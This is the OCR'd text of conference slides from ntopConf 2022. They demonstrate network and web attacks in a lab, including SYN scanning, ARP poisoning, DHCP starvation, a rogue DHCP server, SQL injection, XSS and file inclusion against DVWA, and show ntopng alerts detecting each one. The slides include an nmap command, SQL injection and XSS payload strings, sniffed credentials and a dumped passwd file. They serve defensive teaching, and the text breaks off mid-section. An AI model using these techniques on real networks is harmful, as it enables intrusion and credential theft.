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whoami

Massimo Giaimo (aka fastfire)

L OO0 0 O O

Cyber Security Team Leader in Wiurth Phoenix
Creator of the SATAYO Threat Intelligence platform
Owner of the deepdarkCTI repository on GitHub
Twitter | @fastfire

Linkedin | massimo-giaimo-b78ba@a

Email | massimo[.]giaimo@wuerth-phoenix[.]com
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WEB Interface: Settings — Checks

Set ntop

detection capability

Showing 31 to 40 of 56 rows

© Wiirth Phoenix

]

w

s < | M sAe 104.00 Mbit/s - Search o, .
renTerneT~ | 3 iy 12490 N0 Cor=a ] 1x oo | moa [ socz] Q searh P =
m »
All (120) Enabled (84) Disabled (36)
Shortcuts
o Y Cybersecurity ~ Search Script: 54
Dashboard
Name 1. Interface Category Description Values Action
Possible Remote Code Execution (RCE) 7 L)) Possible Remote Code Execution (RCE) a E
Possible SQL Injection s LY Possible SQL Injection a E
Possible XSS s 0 Possible XSS a E
Potentially dangerous protocol s LV Trigger an alert when a potentially dangerous protocol is detected a E
Remote to Local Insecure Protocol L e )] Trigger an alert when a remote Server contacts a local Host using an insecure protocol a E
Score Threshold Exceeded L e L)) Trigger an alert when the score of an host exceeds the threshold > 5000 Score (Minute) a E
SMB Insecure Version Ly )] SMB Insecure Version a E
SonicWALL L LV Collect logs from SonicWALL firewalls: handle Identity Management (user correlation) and trigger alerts a E
according to the...
Sophos L Y 0 Collect logs from Sophos firewalls: handle Identity Management (user correlation) and trigger alerts according a E
to the co...

Suricata L Ty 0 Collect alerts and metadata from Suricata a E

massimol[.Jgiaimo@wuerth-phoenix[.Jcom
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ATK #1
SYN Flood

is a denial of service attack in which a
malicious user sends a series of SYN-TCP
requests to the attacked system.

S@C4U
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Attack

Conf 22
nmap --top-ports 1000 --open 192.168.2.11

Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-22 17:09 CEST
Nmap scan report for _gateway (192.168.2.11)
Host is up (0.00032s latency).

Not shown: 998 closed ports
PORT

STATE SERVICE

80/tcp open

http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in ©0.06 seconds
Syn Flood
© Wirth Phoenix

massimol[.Jgiaimo@wuerth-phoenix[.Jcom
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Syn Flood

» o
Shortcuts

<>
Developer
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m & enpos3ife T BBy

A Alerts | Allo Hosta Interface Flow Device

Detection

(cofso]zm [esak= ] ]

past Ack Last30Min v @& ‘18/06/202222:43

— 18/06/2022 23:13

Severity = Warning x

Show| 10 v |entries

Date/Time Score v Duration Alert

Description

- aa @ K

Q

Search

-
<« 0
o %

c @O~

Actions

00:17 TCP SYN Scan

ntopng Enterprise L v.5.3.220616 (Ubuntu 20.04.4 LTS) | ©

192.168.2.11 @« 1

© 1998-22 - ntop.org

massimol[.Jgiaimo@wuerth-phoenix[.Jcom

4 < 1 o »

© 23:13:32 +0200 | Uptime: 53:46

192.168.2.11 is under a SYN scan [49770 > 256 SYN received]

ntopConf 22
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Detection

P Ak Custom v & |18/06/2022 23:07 ‘—o ‘18/06/202223:13 “— - aa ® B

A AICIL | AUGE MUY [ILEdLEwd FWwW  Uevile

Server IP = 192.168.2.11 x [l

10000
8000
6000
4000
2000

0

Show| 10 M entries TopClients~ TopServers~ TopAlerts~ Top Applications & @ ~

Date/Time Score v Application Alert Flow Information Client Pool Server Pool Client Network Actions
© 23:12:53 TCP:Unknown  TCP Connection Refused == sec4u001:59798 L1 ¢ 192.168.2.11:45295 1 TCP Connection Refused Default Default E
© 23:12:53 TCP:Unknown = TCP Connection Refused = = sec4u001:59798 L1 &2 192.168.2.11:45167 1 TCP Connection Refused Default Default E
o~ 211282 [ TCD:linknawn TCD Cannartinn Dafiicad = carAunni-ca7aQ M TP 102 142 2 11:45422 M TCD Cannarctinn Rafiicad NaFaulk Nafaulk _
23:12:53 TCP:Unknown = TCP Connection Refused = sec4u001:59798 L1 &2 192.168.2.11:45551 TCP Connection Refused Default Default
23:12:53 TCP:Unknown  TCP Connection Refused = sec4u001:59798 L1 &2 192.168.2.11:45679 1 TCP Connection Refused Default Default
23:12:53 ( TCP:Unknown = TCP Connection Refused = sec4u001:59798 L1 &2 192.168.2.11:45807 1 TCP Connection Refused Default Default
© 23:12:53 TCP:Unknown = TCP Connection Refused = = sec4u001:59798 L1 &2 192.168.2.11:46063 1 TCP Connection Refused Default Default E
© 23:12:53 TCP:Unknown  TCP Connection Refused == sec4u001:59798 L1 &2 192.168.2.11:46191 [ TCP Connection Refused Default Default E
@ 23:12:53 TCP:Unknown = TCP Connection Refused = = sec4u001:59798 L1 ¢ 192.168.2.11:46575 1 TCP Connection Refused Default Default E
« < 1 ‘ 2 ‘ 3 4 5 1,046 > »
Processed 10,459 records [901,878 records/sec].
Query performed in 0.01 seconds. [ET8

‘ Syn Flood

S@C4U
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ATK

2

ARP Poisoning

it consists in intentionally and
forcibly sending ARP responses
containing data that do not correspond
to the real ones. This way a host's ARP
table will contain corrupted data. This
state can allow an attacker to reach a
Man In The Middle position

Conf 22
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Attack

(im] [ Login:Damn Vulnerable Web # X | — o X

& (@] A Notsecure | 192.168.2.11/DVWA-master/login.php A T8 = @;\,\'

DWA)

Username
Password
[toam
You have logged out
Damn Vuls Web ication (DVWA)
H AL Type here to search i . A~ i @ dx 61/12:2;22;”2 ]

ARP Poisoning

S@C4U
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(im] Welcome :: Damn Vulnerable W

{_

@] A Notsecure | 192.168.2.11/DVWA-master/i.. 2 A g v=

Home |
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF

File Inclusion

File Upload
Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout

x s = (m] X

\
o)

S C:\Users\pb0@312> arp

Welcome to Damn Vulnerable Web Appli

nterface: 192.168.2.10 --- Oxla
Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is d¢ HESE G BGeee HiveaEL Hiheee
goal is to be an aid for security professionals to test their skills and tools in a legal env B Al 3¢-18-a0-c3-ec-45
developers better understand the processes of securing web applications and to aid b 192.168.2.255 FE-Ff-FE-FF-FFFF

224.0.0.22 01-00-5e-00-00-16
224.0.0.2 01-00-5e-00-00-fb
239.255.255.250 01-00-5e-7f-ff-fa

learn about web application security in a controlled class room environment

The aim of DVWA is to practice some of the most common web vulnerabilities, wi

difficultly, with a simple straightforward interface
nterface: 192.168.56.1 --- @x27

Internet Address Physical Address

. 192.168.56.255 FF-Ff-FF-FF-FF-FF

General Instructions 224.0.0.22 01-00-5e-00-00-16
01-00-5e-00-00—fb

Itis up to the user how they approach DVWA. Either by working through every module 224.0.0.252 01-00-5e-00-00-fc

selecting any module and working up to reach the highest level they can before movin 239.255.255.250 01-00-5e-7f-ff-fa static
is not a fixed object to complete a module; however users should feel that they have s \Users\pb00312>

system as best as they possible could by using that particular vulnerability. \Users\pb00312>

S C:\Users\pb0@312> i
Please note, there are both d; d and undoct d vulnerability with this
intentional. You are encouraged to try and discover as many issues as possible S C: \USE rs \pb@93 12> a rp
DVWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enable

increase the difficulty. This will demonstrate how adding another layer of security may

actions. Note, there are also various public methods at bypassing these protections (s nterface: 192.168.2.10 --- Bxla
extension for more advanced users)! %
Internet Address Physical Address Type

There is a help button at the bottom of each page, which allows you to view hints & tip

There are also additional links for further background reading, which relates to that se« 192 168 2 11 3 c= 18 A ae e 3 -ec- 45 dyn amic
= 2 i & o= 7 3
WARNING! 192.168.2.21 3¢-18-aB-c3-ec-45 dynamic
224.0.0.22 01-00-5e-00-00-16 static
Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your host 224.0.0.251 01-00-5e-00-00-fb static

folder or any Internet facing servers, as they will be compromised. It is recommend 224.0.0.252 01-00-5e-00-00-fc static
(such as or ), which is set to NAT networking mode. Inside a gues 239.255.255.250 01-00-5e-7f-ff-fa static
download and install for the web server and database e >

Disclaimer

. . H A Type here to search
ARP Poilsoning

© Wiirth Phoenix

10:56 PM D
6/22/2022

A 0 @ dx
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Ettercap

Host List @  Targets @

Delete Add Delete Add

57 ports monitored
24609 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!
Starting Unified sniffing...

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
2 hosts added to the hosts list...
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...

GROUP 1:192.168.2.10 F8:B4:6A:EB:56:E6
GROUP 2:192.168.2.11 10:62:E5:A2:9F:90

TTP: 192.168.2.11:80 -> USER: admin PASS: password INFO: http://192.168.2.11/DVWA-master/login.php
ONTENT: username=admin&password=password&Login=Login&user_token=5e0a8bcaaf3b443388f874e379322409

RP poisoner deactivated.
E-ARPing the victims...

ARP Poisoning

S@C4U
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Detection

meenpos3tfe- §AA-0br CE)EEEDE Q| search P -
”
Shortcuts AAlerts | Al@ Host Interface@ Flow Device « @
Ack Engaged = Last30Min v &8 ‘22/06/202222:38 ‘ = ‘22/06/202223:08 ‘m - aa @B
Severity >= Error x Filters 4,0 0,

Show| 10 v |entries

Top Mac Addresses~ TopAlerts» & @ ~

Date/Time Score v Alert MAC Address Device Type Name Actions

Unknown E

(-) 22:55:15 100 IP/MAC Reassoc/Spoofing 3C:18:A0:C3:EC:45

Description IP 192.168.2.11 changed association from 10:62:E5:A2:9F:90 to 3C:18:A0:C3:EC:45: MITM (Man In The Middle) attack?

8 22:55:15 100 IP/MAC Reassoc/Spoofing 3C:18:A0:C3:EC:45

Description IP 192.168.2.11 changed association from 10:62:E5:A2:9F:90 to 3C:18:A0:C3:EC:45: MITM (Man In The Middle) attack?

I ) 22:55:15 100 IP/MAC Reassoc/Spoofing 3C:18:A0:C3:EC:45 Unknown E

Description IP 192.168.2.11 changed association from 10:62:E5:A2:9F:90 to 3C:18:A0:C3:EC:45: MITM (Man In The Middle) attack?
I (-) 22:55:15 100 IP/MAC Reassoc/Spoofing F8:B4:6A:EB:56:E6 Unknown E
Description IP 192.168.2.10 changed association from 3C:18:A0:C3:EC:45 to F8:B4:6A:EB:56:E6: MITM (Man In The Middle) attack?

ARP Poisoning

© Wirth Phoenix massimol[.]Jgiaimo@wuerth-phoenix[.Jcom
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ATK #3
DHCP Starvation +
DHCP Rogue

during a DHCP attack, a hostile actor
floods a DHCP server with bogus DISCOVER
packets until the DHCP server exhausts
its supply of IP addresses. Once that
happens, the attacker can deny
legitimate network users service, or
even supply an alternate DHCP connection
that leads to a Man-in-the-Middle (MITM)
attack.
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Attack

NEmPori-|1 23 4|m
|

File Protocols Actions Options Help

% £ o = @@ = _ s 3

Launchattack Editinterfaces Loaddefault Listattacks Clear stats Capture Edit mode Exit

CDP DHCP 802.1Q@ 802.1X DTP HSRP ISL MPLS STP VTP Yersinialog

™ Choose protocol attack

CDP DHCP 802.1Q 802.1X DTP HSRP ISL MPLS STP VIP
Choose attack

O 0O 0o oo o oo

Description DoS
sending RAW packet

® sending DISCOVER packet
creating DHCP rogue server
sending RELEASE packet

Dynamic Host Configuration Protocol

Source MAC 02:48:33:66:02:51

Cancel
Htype 01 HLEN 06

02:48:33:66:02:51

17:16:34

DHCP Starvation

© Wirth Phoenix massimol[.Jgiaimo@wuerth-phoenix[.Jcom
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L
File Protocols Actions

L] o

(0]
5934743

Source MAC 76:96:0C
Destination MAC FF:FF:FF:
SIP 0.0.0.0
DIP 255.255.

68

67

01

01

06

00

643C98€

0000

8000
a 0.0.0.0
Yi 0.0.0.0
Sl 0.0.0.0
Gl 0.0.0.0
CH 76:96:0C

[ PR S, s

17:24:24

‘ DHCP Rogue

© Wiirth Phoenix

Options

SIENLEEHE

CDP DHCP 802.1Q 802.1X DTP HSRP

0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0

4|

Help

a

Launchattack Editinterfaces Load default

255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255

Listattacks Clear stats

a

01DISCOVER
01DISCOVER
01DISCOVER
01DISCOVER
01DISCOVER
01DISCOVER
01DISCOVER
01DISCOVER
01DISCOVER
01DISCOVER

Dynamic Host Configuration Protocol

Source MAC 02:48:33:66:02:51

CH

0x0000:
0x0010:
0x0020:
AvAnzA-

Htype 01

02:48:33:66:02:51

DIP 255.255.255.255

HLEN

]

Capture

4

Edit mode

2

3 ™ DHCP attack parameters

ISL MPLS STP VTP Yers

eth0
eth0
eth0
eth0
eth0
eth0
eth0
eth0
eth0
eth0

06

Hops

ffff ffff ffff 7696 6cl5 33fo 0800 4516
0110 0000 0000 1011 a9ce 0000 0000 ffff
ffff 0044 0043 00fc d546 0101 0600 643C
QRAQ ANAA RANA ANAA AAAA AAAA AARA ANAA

creating DHCP rogue server

2JunT Seryer ID 192.168.2.8
22 Jun1

22 Jun1

21 StartIP 192.168.2.24

22 Jun1

24l End IP 192.168.2.25
22 Jun1

22 Jun1 :

2Junt Lease Time (secs)

22 Jun1

Destination MAC

00

Renew Time (secs)
Subnet Mask  255.255.255.0
Router 192.168.2.8

SPot  DNS Ser 192.168.2.8

Domain fastfirelab{

Cancel

massimol[.Jgiaimo@wuerth-phoenix[.Jcom
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AE O mN RGO Qe=sEF S

Detection

23 22: 30 152608063

RPN

Ao

A

Transaction

(W dhepl v +
No.  Time - Source 'Destination Protocol Lengtt Info o =
1504.. 2022-06-22 2! 2:30,152257837 0.0.0.0 255.255.255.255 286 DHCP Discover - Transaction ID 0x643c9869
1504.. 2022-06-22 2 130, 152345959 0.0.0.0 255.255.255.255 286 DHCP Discover - Transaction ID 0x643c9869
1504.. 2022-06-22 2 :30,152345977 0.0.0.0 255.255.255.255 286 DHCP Discover - Transaction ID ©x643c9869
1504.. 2022-06-22 2 :30,152415484 0.0.0.0 255.255.255.255 286 DHCP Discover - Transaction ID 0x643c9869
a2 sP LI b0 20 20250 e 286 Mthbiscaver g lransact on 10 pxbdachnty
1504.. 2022 06-22 23:22:30,152415484 .0.0 255.255.255.255 DHCP 286 Discover - Transaction 0x643c9869
1504.. 2022-06-22 23:22:30,152415515 0.0.0.0 255.255.255.255 DHCP 286 Discover - Transaction 0x643c9869
1504.. 2022-06-22 23:22:30,152497448 0.0.0.0 255.255.255.255 DHCP 286 Discover - Transaction 0x643c9869
1504.. 2022-06-22 23:22:30,152497468 0.0.0.0 255.255.255.255 DHCP 286 Discover - Transaction 0x643c9869
1504.. 2022-06-22 23:22:30,152497495 0.0.0.0 255.255.255.255 DHCP 286 Discover - Transaction 0x643c9869
1504.. 2022-06-22 23:22:30,152553071 0.0.0.0 255.255.255.255 DHCP 286 Discover - Transaction 0x643c9869
1504.. 2022-06-22 23:22:30,152553089 0.0.0.0 255.255.255.255 DHCP 286 Discover - Transaction 0x643c9869
1504.. 2022-06-22 23:22:30,152553107 0.0.0.0 255.255.255.255 DHCP 286 Discover - Transaction 0x643c9869
..2022 06- 22 0.0.0.0 255.255.255. 255 DHCP 286 Discover 0x643c9869
557255 DHCP

»
»
»
»
»

. 2022-06-2
. 2022-06-22

888838338338888883R3

2
2
2

@ e P

.. 2022-06-22 23:22:30,15332122:
.. 2022-06-22 23:22:30, 15332124
.. 2022-06-22 23:22:30,153376413
.. 2022-06-22 23:22:30,153376433 0.

ff ff ff ff ff 96 a3
10 00 00 00 00 10 11
ff 00 44 00 43 00 fc
69 00 00 80 00 00 00
00 00 00 00 00 96 a3
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 060 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 60 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 63 82

730, 15
ZZ 5 30, 15311054
:22:30,15311056(

10524

5.0
2 0.0.
0 0.0.
10.0.
0 0.0.
0.0.
0.

79 20 bl 29 08 00 45 10 y:)E
a9 ce 00 00 00 6O ff ff

ca f4 01 01 06 00 64 3c DC

00 00 00 00 00 00 00 00 i

79 20 b1l 29 00 @0 00 00 y

00 60 00 00 00 060 00 00

00 60 00 00 00 00 60 00

00 00 60 00 00 00 00 0O

00 60 00 00 00 60 00 00

00 60 00 00 0O 6O 00 00

00 00 00 00 00 00 060 00

00 00 00 00 00 00 00 00

00 00 60 00 00 00 00 00

00 60 00 00 00 60 00 00

00 60 00 00 00 00 60 00

00 00 60 00 00 00 00 0O

00 60 00 00 00 00 00 00 D .
53 63 35 01 01 ff B voelT e

@ 7 Dynamic Host Configuration Protocol: Protocol

286 DHCP Discover - 55869

286 DHCP Discover - Transaction ID 6x643c9869
286 DHCP Discover - Transaction ID ©x643c9869
286 DHCP Discover - Transaction ID ©x643c9869
286 DHCP Discover - Transaction ID ©x643c9869
286 DHCP Discover - Transaction ID ©x643c9869
286 DHCP Discover - Transaction ID ©x643c9869

5.0 o

0.0 255.255.255. 255
0.0 255.255.255.255
0.0 255.255.255.255
0.0 255.255.255.255
0.0 255.255.255.255
0.0 255.255.255.255

Frame 56: 286 bytes on wire (2288 bits), 286 bytes captured (2288 bits) on interface enp@s3if6, id @
Ethernet II, Src: 96:a3:79:20:b1:29 (96:a3:79:20:b1:29), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

Internet Protocol Version 4, Src: 0.0.0.0, Dst: 255.255.255.255
User Datagram Protocol, Src Port: 68, Dst Port: 67

Dynamic Host Configuration Protocol (Discover)

Transaction 10 6x64

Packets: 1504176 - Displayed: 1502993 (99.9%)

AmAn _AA~A
™

Profile: Default

DHCP Starvation

© Wiirth Phoenix
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Detection

0b;
M@ enp0s31f6~ | 2B%pit/s (200 [s500 [ s.1km [ 29= ]
A Alerts | All Host Interface Flow Device

Severity >= Error x

80

60

40

20

0

Ack Engaged

Last 30 Min v & ‘22/06/2022 23:04

‘ - ‘22/06/2022 23:34

}o—aqa@?i

A

Q

Search

A

Show| 10 v |entries TopAlerts+ £ @~
Date/Time Score v Duration Alert Element Description Actions
23:22:28 100 <1sec DHCP Storm  enp0s31f6  DHCP Storm attack detected at 22/06/2022 23:21:58 [DHCP Packets: 18124] E

100 <1sec DHCP Storm  enp0s31f6  DHCP Storm attack detected at 22/06/2022 23:21:58 [DHCP Packets: 18124]
23:22:28 100 <1sec DHCP Storm  enp0s31f6  DHCP Storm attack detected at 22/06/2022 23:22:01 [DHCP Packets: 8597] E
23:22:28 100 <1sec DHCP Storm  enp0s31f6  DHCP Storm attack detected at 22/06/2022 23:22:02 [DHCP Packets: 9505] E
23:22:28 100 <1sec DHCP Storm  enp0s31f6  DHCP Storm attack detected at 22/06/2022 23:22:03 [DHCP Packets: 11065] E
23:22:28 100 <1sec DHCP Storm  enp0s31f6  DHCP Storm attack detected at 22/06/2022 23:22:04 [DHCP Packets: 10999] E
23:22:28 100 <1sec DHCP Storm  enp0s31f6 ~ DHCP Storm attack detected at 22/06/2022 23:22:05 [DHCP Packets: 32564]
23:22:28 100 <1sec DHCP Storm  enp0s31f6  DHCP Storm attack detected at 22/06/2022 23:22:06 [DHCP Packets: 40995] E
23:22:28 100 <1sec DHCP Storm  enp0s31f6  DHCP Storm attack detected at 22/06/2022 23:22:07 [DHCP Packets: 51824] E

‘ DHCP Starvation

© Wiirth Phoenix
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ATK

4

SQL Injection

is a code injection technique, used to
attack applications that manage data
through relational databases using the
SQL language. Failure to check user
input allows you to artificially insert
strings of SQL code that will be
executed by the application.
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SQL Injection

© Wiirth Phoenix

e | 192.168.2.11

Attack

T Vulnerability: SQL Injection

Instructions |
Click
Setup / Reset DB

Brute Force
Command Injection
CSRF

More Information

[ID: a’ UNION SELECT || Submit |

\ Close |

P

DVWA Security
PHP Info

About

Logout

Username: admin View Source | View Help

Security Level: high
Locale: en
PHPIDS: disabled
SQLi DB: mysql

massimol[.Jgiaimo@wuerth-phoenix[.Jcom
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SQL Injection

© Wiirth Phoenix

ecure | 192.168.2.11

Home

Instructions
Setup / Reset DB

ButeForce |
Command injection |
osRE |
Fileinclusion |
FileUpload |
nsecure CAPTCHA |
[ sQuinjection |
SQL Injection (Blind)
Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security
PHP Info

About

Logout

Username: admin
Security Level: high
Locale: en
PHPIDS: disabled
SQLi DB: mysql

Attack

Vulnerability: SQL Injection

Click

ID: ID: a'
First name:

Surname: text2

UNION SELECT "textl", "text2";--

-&Submit=Submit

massimol[.Jgiaimo@wuerth-phoenix[.Jcom
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Detection

M enp0s31f6 ~ $—?—8§g§ (7o ]2o]a]1=]»] Q  search P =

A Alerts | All Interface Flow Device « @
i - ,\ s

ol Ak Last30Min v @& ‘18/06/2022 21:57 ‘ — |18/06/2022 2227 ‘ -2 aa @B

Severity >= Error x Filters + x

Show| 10 v |entries TopClients~  Top Servers~ Top Alerts~  Top Applications~ & @ ~

Date/Time  Score v  Application Alert Flow Information Client Pool  ServerPool  Client Network  Server Network  Actions
260 TCP:HTTP [ Possible SQL Inj 192.168.2.8:59770 @ > 192.168.2.11:80 @ Possible SQLInj @  Default Default
< ] S
Processed 1 records [4,671 records/sec].
Query performed in < 0.01 seconds.

&~ Acknowledge Alerts | W Delete Alerts

ntopng Enterprise L v.5.3.220616 (Ubuntu 20.04.4 LTS) | ©) © 1998-22 - ntop.org @ 22:28:30 +0200 | Uptime: 08:44

SQL Injection

S@C4U
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Detection

Menpos3ife - ] —obes (60 ]20]3m] 2= | > ) Q  Search P =
m »
Shortcuts A Alert: Possible SQL Inj| 192.168.2.8:59770 q__’ 192.168.2.11:80 | Overview « ©
0 »
B | Alert | Possible SQL Inj

Flow Peers [ Client / Server] 192.168.2.8:59770 L1 &2 192.168.2.11:80 1

Protocol / Application TCP:HTTP
Date/Time 22:26:19
Score 260

Description

Other Issues HTTP Numeric IP Host @
Error Code 200
Traffic Info Client to Server Traffic 1.78 KB
Main Direction Server - Client

Server to Client Traffic 4.2 KB

Flow Related Info 1
Flow Related Info Method
Return Code 3
URL 8 (£192.168.2.11/DVWA-master/... © 22:30:02 +0200 | Uptime: 10:16
User Agent Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
SQL Injection Server Name 18 192.168.2.11

S@C4U
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ATK #5
Cross Site Scripting
(XSS)

is a vulnerability affecting dynamic
websites that employ insufficient input
checking in forms. An XSS allows an
attacker to insert or execute
client-side code in order to carry out a
varied set of attacks such as, for
example, the collection, manipulation
and redirection of confidential
information.

S@C4U
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Cross Site Scripting (XSS)

© Wiirth Phoenix

Home
Instructions
Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)
Weak Session IDs

XSS (DOM)
EE
xss(store) |
csPeypess |
davaseript |

DVWA Security
PHP Info

About
Logout

Username: admin
Security Level: low
Locale: en
PHPIDS: disabled
SQLi DB: mysq!

Attack

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name? |?name=<script>alen("xSS"):<.]

Submit ]

View Source | View Help

massimol[.Jgiaimo@wuerth-phoenix[.Jcom
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Cross Site Scripting (XSS)

© Wiirth Phoenix

Home

Instructions
Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)
Weak Session IDs

XSS (DOM)
EET
xssEwey |
cpeypess |
|

DVWA Security
PHP Info

About

Logout

Username: admin
Security Level: low
Locale: en
PHPIDS: disabled
SQLi DB: mysql

Attack

192.168.2.11 says

XSS

More Information

massimol[.Jgiaimo@wuerth-phoenix[.Jcom

View Source | View Help

ntopConf 22
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etection
M enp0s31f6 ~ $——f—8§g§ (6o [s[3m][2=]»] Q  Search
Sh;:ut; A Alert: Possible XSS | 192.168.2.8:59774 ¢ 192.168.2.11:80 | Overview
Daggar; Alert | Possible XSS
Flow Peers [ Client / Server] 192.168.2.8:59774 L1 &2 192.168.2.11:80 1
Protocol / Application TCP:HTTP
Date/Time 22:30:49
Score 260
Description
Other Issues HTTP Numeric IP Host @
Error Code 200
Traffic Info Client to Server Traffic 1.73KB
Main Direction Server -> Client
Server to Client Traffic 4.24 KB
Flow Related Info Method
Return Code [ ok |
URL 8 £ 192.168.2.11/DVWA-master/...
User Agent Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Server Name 8 192.168.2.11
Flow Related Info 1

Cross Site Scripting (XSS)

© 22:31:57 +0200 | Uptime: 12:11

© Wirth Phoenix massimol[.Jgiaimo@wuerth-phoenix[.Jcom
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ATK #6
File Inclusion

is a type of web vulnerability that is
most commonly found to affect web

applications that rely on a scripting

run time. This 1issue is caused when an

application builds a path to executable
code using an attacker-controlled
variable in a way that allows the
attacker to control which file 1is

executed at run time.
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& 192.168.2.11

Home
Instructions
Setup / Reset DB

[Bnmsforcs |
T
[ESe ke on B
File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)
Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security
PHP Info

About

Logout

Username: admin
Security Level: low
Locale: en
PHPIDS: disabled
SQLi DB: mysql

Vulnerability: File Inclusion

| [ 1-1 1-1 ]

orc o

massimol[.Jgiaimo@wuerth-phoenix[.Jcom

View Source | View Help
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Attack

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/shin/nc
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/variwww:/us
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/shin/nologin syst
resolve:x:101:103:systemd Resolver,,,:/run/systemd:/ust/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:1C
stack,,,:/varflib/tpm:/bin/false uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:109:116:Avahi autoip daemon,,,/var/flib/avahi-autoipd:/usr/sbin/nologin usbmux:x:110:46
dnsmasq:x:112:65534:dnsmasq.,,:/var/lib/misc:/usr/sbin/nologin cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/nome/cups-pk-helper:/usr/sbin/nologin speech-dispatcher:x:114:29:Speech Dispatcher,,,./run/speech-dis
kernoops:x:116:65534:Kernel Oops Tracking Daemon.,,,://usr/sbin/nologin saned:x:117:123::/varflib/saned:/usr/sbin/nologin nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin hplip:x:11!
colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin geoclue:x:122:127::/varflib/geoclue:fusr/sbin/nologin pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin gnome-initial-setup:x:124:65534::/run/gnor

ystem user,,,://var/lib/sss:/usr/sbin/nologin sec4u:x:1000:1000:sec4u,,,./nome/sec4u:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin cento:x:998:998::/home/cento:/bin/sh redis:x:127:134::/var/lib/
ntopng:x:995:995::/home/ntopng:/bin/false mysql:x:128:135:MySQL Server,,,./nonexistent:/bin/false

.|

Instructions
Setup / Reset DB

BruteForce |
Command Injection |
csRe |
Fileinclusion |
File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)
Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security
PHP Info
About

Logout

192.168.2.11

File Inclusion

© Wiirth Phoenix

massimol[.]Jgiaimo@wuerth-phoenix[.Jcom
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M enp0s31f6 IV

Alert

Flow Peers [ Client / Server]
Protocol / Application
Date/Time

Score

Description

Other Issues

Error Code
Settings Traffic Info
Developer
Flow Related Info
Flow Related Info

Detection

/1.10 kbit/s
s s o (oo [5m [5= 5]

< A Alert: HTTP Suspicious URL | 192.168.2.8:59792 & 192.168.2.11:80 | Overview

Shortcuts

I HTTP Suspicious URL
192.168.2.8:59792 L1 2 192.168.2.11:80 L1
TCP:HTTP
22:36:07

110

HTTP Numeric IP Host @

200

Client to Server Traffic 1.54 KB
Server -> Client

Main Direction

Server to Client Traffic 5.63 KB

1

Method

Return Code [ ok |

URL & £ 192.168.2.11/DVWA-master/...

User Agent Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Server Name s 192.168.2.11

File Inclusion

© Wiirth Phoenix

massimol[.Jgiaimo@wuerth-phoenix[.Jcom

Q

Search

© 22:37:08 +0200 | Uptime: 17:22

ntopConf 22
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ATK #7
ICMP Tunnelling

is a command-and-control (C2) attack
technique that secretly passes malicious
traffic through perimeter defenses.
Malicious data passing through the
tunnel is hidden within normal-looking
ICMP echo requests and echo responses.

Conf 22
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Attack

ntopConf 22

ON VICTIM MACHINE:

